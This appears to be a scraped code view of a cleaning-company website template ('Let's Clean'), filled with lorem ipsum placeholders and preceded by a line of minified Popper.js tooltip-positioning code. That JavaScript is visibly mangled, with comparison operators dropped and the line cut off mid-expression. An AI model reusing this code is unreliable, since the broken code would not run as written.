b=d[m]+d[l]/2-u/2,w=t(e.instance.popper),y=parseFloat(w['margin'+f],10),E=parseFloat(w['border'+f+'Width'],10),v=b-e.offsets.popper[m]-y-E;return v=J(_(s[l]-u,v),0),e.arrowElement=n,e.offsets.arrow=(i={},pe(i,m,Math.round(v)),pe(i,h,''),i),e},element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:function(e,t){if(k(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;var o=y(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement),i=e.placement.split('-')[0],n=x(i),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case le.FLIP:p=[i,n];break;case le.CLOCKWISE:p=q(i);break;case le.COUNTERCLOCKWISE:p=q(i,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(i!==s||p.length===d+1)return e;i=e.placement.split('-')[0],n=x(i);var a=e.offsets.popper,l=e.offsets.reference,f=X,m='left'===i&&f(a.right)>f(l.left)||'right'===i&&f(a.left)f(l.top)||'bottom'===i&&f(a.top)f(o.right),g=f(a.top)f(o.bottom),b='left'===i&&h||'right'===i&&c||'top'===i&&g||'bottom'===i&&u,w=-1!==['top','bottom'].indexOf(i),y=!!t.flipVariations&&(w&&'start'===r&&h||w&&'end'===r&&c||!w&&'start'===r&&g||!w&&'end'===r&&u);(m||b||y)&&(e.flipped=!0,(m||b)&&(i=p[d+1]),y&&(r=K(r)),e.placement=i+(r?'-'+r:''),e.offsets.popper=se({},e.offsets.popper,S(e.instance.popper,e.offsets.reference,e.placement)),e=C(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',padding:5,boundariesElement:'viewport'},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,o=t.split('-')[0],i=e.offsets,n=i.popper,r=i.reference,p=-1!==['left','right'].indexOf(o),s=-1===['top','left'].indexOf(o);return n[p?'left':'top']=r[o]-(s?n[p?'width':'height']:0),e.placement=x(t),e.offsets.popper=c(n),e}},hide:{order:800,enabled:!0,fn:function(e){if(!F(e.instance.modifiers,'hide','preventOverflow'))return e;var t=e.offsets.reference,o=T(e.instance.modifiers,function(e){return'preventOverflow'===e.name}).boundaries;if(t.bottomo.right||t.top>o.bottom||t.right
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 | Let's Clean
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
34 |
35 |
36 |
37 |
38 |
96 |
97 |
98 |
99 |
100 |
Our Services
102 |
Consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna
103 | aliqua
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
Tile & Grout
113 |
Exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
114 | Duis aute irure dolor
115 |
116 |
117 |
118 |
119 |
120 |
Carpet Cleaning
121 |
Exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis
122 | aute irure dolor
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
Tile & Grout
135 |
Exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
136 | Duis aute irure dolor
137 |
138 |
139 |
140 |
141 |
142 |
Carpet Cleaning
143 |
Exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis
144 | aute irure dolor
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
Tile & Grout
157 |
Exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
158 | Duis aute irure dolor
159 |
160 |
161 |
162 |
163 |
164 |
Carpet Cleaning
165 |
Exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis
166 | aute irure dolor
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 |
186 |
187 |
190 |
191 |
About Cleaning
193 |
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor
194 | incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,Lorem ipsum dolor sit amet, consectetur
195 | adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
196 |
197 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
Why Choose
208 | Us
209 |
Consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna
210 | aliqua
211 |
212 |
213 |
214 |
215 |
12004+
216 | Our clients
217 |
218 |
219 |
220 |
221 |
10004+
222 | Happy clients
223 |
224 |
225 |
226 |
227 |
804+
228 | Supports
229 |
230 |
231 |
232 |
233 |
905+
234 | Awards
235 |
236 |
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
Our Team
248 |
249 |
Consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna
250 | aliqua
251 |
252 |
253 |
254 |
255 |
256 |
257 |
Follow Us
258 |
266 |
267 |
268 |
Consectetur
269 |
It is a long established fact that a reader will be distracted by the readable
270 | content of a page when looking at its layout. The point of using Lorem
271 |
272 |
273 |
274 |
275 |
276 |
277 |
magna aliqua
278 |
It is a long established fact that a reader will be distracted by the readable
279 | content of a page when looking at its layout. The point of using Lorem
280 |
281 |
282 |
283 |
Follow Us
284 |
292 |
293 |
294 |
295 |
296 |
297 |
298 |
299 |
Follow Us
300 |
308 |
309 |
310 |
Aonsectetur
311 |
It is a long established fact that a reader will be distracted by the readable
312 | content of a page when looking at its layout. The point of using Lorem
313 |
314 |
315 |
316 |
317 |
318 |
319 |
Nonsectetur
320 |
It is a long established fact that a reader will be distracted by the readable
321 | content of a page when looking at its layout. The point of using Lorem
322 |
323 |
324 |
325 |
Follow Us
326 |
334 |
335 |
336 |
337 |
338 |
339 |
340 |
341 |
342 |
343 |
344 |
345 |
346 |
347 |
Newsletter
348 |
Tempor incididunt ut labore et dolore magna aliqua
349 |
350 |
356 |
357 |
358 |
359 |
360 |
361 |
412 |
413 |
414 |
415 |
416 |
Copyright 2025 All Right Reserved By Designed by Krypto Etox
417 |
418 |
419 |
420 |
421 |
422 |
423 |
424 |
425 |
426 |
427 |
428 |
429 |
430 |
431 |
432 |
448 |
456 |
457 |
458 |
--------------------------------------------------------------------------------